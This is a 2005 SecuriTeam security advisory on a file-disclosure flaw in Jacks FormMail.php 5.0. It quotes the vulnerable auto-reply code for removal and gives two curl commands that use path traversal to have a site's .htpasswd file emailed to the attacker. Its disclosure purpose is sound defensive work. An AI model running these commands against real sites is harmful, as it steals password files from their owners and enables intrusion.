[UNIX] Jacks FormMail.php Remote File Access Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 01/05/05

  • Next message: SecuriTeam: "[UNIX] MyCart Discloses Settings Information to Remote Users"
    To: list@securiteam.com
    Date: 5 Jan 2005 17:34:06 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Jacks FormMail.php Remote File Access Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

     <http://dtheatre.com/scripts/formmail.php> Jacks FormMail.php script is
    "a simple PHP script that allows web site owners to easily email form
    values to themselves without much work or scripting knowledge".

    Due to improper sanitation of FormMail.php's ar_file parameter, a remote
    attacker can use this parameter to cause the server to include arbitrary
    files in the response it sends back to the user.

    DETAILS

    Vulnerable Systems:
     * Jacks FormMail.php version 5.0

    The script currently accepts an auto-reply variable (ar_file) that
    specifies a filepath to send to the person submitting the form. The
    problem is that this variable can be defined by the person submitting the
    form and can be used to have arbitrary server
    files sent to that person.

    Solution:
    Remove the following code from the FormMail.php script.
    if (file_exists($ar_file)) {
       $fd = fopen($ar_file, "rb");
       $ar_message = fread($fd, filesize($ar_file));
       fclose($fd);
       mail_it($ar_message, ($ar_subject)?stripslashes($ar_subject):"RE: Form
    Submission", ($ar_from)?$ar_from:$recipient, $email);
    }

    Example attack:
    Assume the following...
    Script Location : http://yoursite.com/cgi-bin/formmail.php
    Password File Location : http://yoursite.com/members/.htpasswd

    Use the following curl command to have the password file emailed to you.
    # curl -e http://yoursite.com/ -d ar_file=../members/.htpasswd -d
    email=you@yoursite.com http://yoursite.com/cgi-bin/formmail.php

    Depending on permission settings, the .htpasswd could be compromised, even
    if it is outside of the html folder as in the following example:
    # curl -e http://yoursite.com/ -d ar_file=../../.htpasswd -d
    email=you@yoursite.com http://yoursite.com/cgi-bin/formmail.php

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:hh@hackhawk.net> Hack Hawk.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] MyCart Discloses Settings Information to Remote Users"

    Relevant Pages

    • [NT] Horde Multiple XSS
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... based on PHP and the Horde Framework." ... Horde is subject to a client side script injection vulnerability in the ...
      (Securiteam)
    • [UNIX] Mantis Bug Tracker Multiple Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... any HTML or script code can be injected. ... * Another XSS vulnerability can be found in the signup.php script (ex.: ... there is also a remote PHP code execution in the system. ...
      (Securiteam)
    • [NEWS] NetworkEverywhere Router Model NR041 Script Injection via DHCP
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Everywhere NR041 Cable/DSL 4-port router "connects multiple PCs to your ... malicious script code can be ... The code for such an HTML file is ...
      (Securiteam)
    • [NT] Snitz Forum 2000 Cross Site Scripting In User Registration Form
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... A cross site scripting vulnerability has been found in the user ... When registering a new account the register.asp script fails to properly ... Vendor Status: ...
      (Securiteam)
    • [NEWS] PeopleSoft Grid Option Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Attached to this solution (download from PeopleSoft Solution ID: ... The script is for Microsoft SQL Server, if you are on a different Database ...
      (Securiteam)